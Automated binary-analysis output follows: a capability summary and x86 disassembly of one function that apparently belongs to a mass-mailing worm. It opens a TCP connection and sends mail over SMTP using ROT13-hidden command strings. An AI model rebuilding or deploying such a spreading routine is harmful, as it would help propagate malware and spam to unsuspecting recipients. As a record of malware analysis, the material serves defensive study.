Function at 0x407944
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
push ebx
push esi
mov esi, 0x100
lea eax, [ebp - 0x204]
push esi
push eax
push str.From
push dword [ebp + 0xc]
call fcn.00407798
add esp, 0x10
test eax, eax
jne 0x4079d1
lea eax, [ebp - 0x404]
push esi
push eax
push 0x4210b0
push dword [ebp + 0xc]
call fcn.00407798
add esp, 0x10
test eax, eax
jne 0x4079d1
mov cl, byte [ebp - 0x204]
lea eax, [ebp - 0x204]
test cl, cl
je 0x4079a7
cmp cl, 0x40
je 0x4079a7
mov cl, byte [eax + 1]
inc eax
jmp 0x407998
cmp byte [eax], 0
je 0x4079d1
inc eax
push eax
lea eax, [ebp - 0x304]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 6
push 1
push 2
call dword [sym.imp.WSOCK32.dll_socket]
mov ebx, eax
cmp ebx, 0xffffffff
mov dword [ebp - 4], ebx
jne 0x4079d9
push 1
pop eax
jmp 0x407bf2
push edi
push 0x10
push dword [ebp + 8]
push ebx
call dword [sym.imp.WSOCK32.dll_connect]
test eax, eax
jne 0x407be5
mov esi, 0x3a98
push esi
push ebx
call fcn.00407bf6
pop ecx
test eax, eax
pop ecx
jne 0x407be5
push eax
push esi
push ebx
call fcn.00407c56
mov esi, 0xc8
add esp, 0xc
cmp eax, esi
jl 0x407be5
cmp eax, 0x190
jge 0x407be5
lea eax, [ebp - 0x104]
push str.RUYB__f_r_n
push eax
call fcn.00404398
lea eax, [ebp - 0x304]
mov edi, 0x2710
push eax
lea eax, [ebp - 0x104]
push eax
push edi
push ebx
call fcn.00407c56
add esp, 0x18
cmp eax, esi
jl 0x407a60
cmp eax, 0x12b
jle 0x407a9c
lea eax, [ebp - 0x104]
push str.URYB__f_r_n
push eax
call fcn.00404398
lea eax, [ebp - 0x304]
push eax
lea eax, [ebp - 0x104]
push eax
push edi
push ebx
call fcn.00407c56
add esp, 0x18
cmp eax, esi
jl 0x407be5
cmp eax, 0x12b
jg 0x407be5
lea eax, [ebp - 0x104]
push str.ZNVY_SEBZ:__f__r_n
push eax
call fcn.00404398
lea eax, [ebp - 0x204]
push eax
lea eax, [ebp - 0x104]
push eax
push edi
push ebx
call fcn.00407c56
add esp, 0x18
cmp eax, esi
jl 0x407be5
cmp eax, 0x12b
jg 0x407be5
lea eax, [ebp - 0x104]
push str.EPCG_GB:__f__r_n
push eax
call fcn.00404398
lea eax, [ebp - 0x404]
push eax
lea eax, [ebp - 0x104]
push eax
push edi
push ebx
call fcn.00407c56
add esp, 0x18
cmp eax, esi
jl 0x407be5
cmp eax, 0x12b
jg 0x407be5
push str.DATA_r_n
push edi
push ebx
call fcn.00407c56
add esp, 0xc
cmp eax, esi
jl 0x407be5
cmp eax, 0x18f
jg 0x407be5
mov ecx, dword [ebp + 0xc]
mov edi, dword [sym.imp.WSOCK32.dll_send]
mov dword [ebp + 0xc], ecx
mov dl, byte [ecx]
mov ebx, ecx
test dl, dl
je 0x407b5c
mov al, dl
cmp al, 0xa
je 0x407b5c
cmp al, 0xd
je 0x407b5c
mov al, byte [ebx + 1]
inc ebx
test al, al
jne 0x407b4c
mov al, byte [ebx]
cmp al, 0xa
je 0x407b66
cmp al, 0xd
jne 0x407b69
inc ebx
jmp 0x407b5c
cmp ecx, ebx
je 0x407b9b
cmp dl, 0x2e
jne 0x407b83
push 0
push 1
push 0x4120ac
push dword [ebp - 4]
call edi
mov ecx, dword [ebp + 0xc]
mov eax, ebx
push 0
sub eax, ecx
push eax
push ecx
push dword [ebp - 4]
call edi
test eax, eax
jle 0x407be2
mov dword [ebp + 0xc], ebx
mov ecx, ebx
jmp 0x407b42
push 0
push 5
push str._r_n._r_n
push dword [ebp - 4]
call edi
push 0
push 0x3a98
push dword [ebp - 4]
call fcn.00407c56
add esp, 0xc
cmp eax, esi
jl 0x407be2
cmp eax, 0x190
jge 0x407be2
push str.QUIT_r_n
push 0x1388
push dword [ebp - 4]
call fcn.00407c56
mov ebx, dword [ebp - 4]
add esp, 0xc
xor esi, esi
jmp 0x407be8
mov ebx, dword [ebp - 4]
push 1
pop esi
push ebx
call dword [sym.imp.WSOCK32.dll_closesocket]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret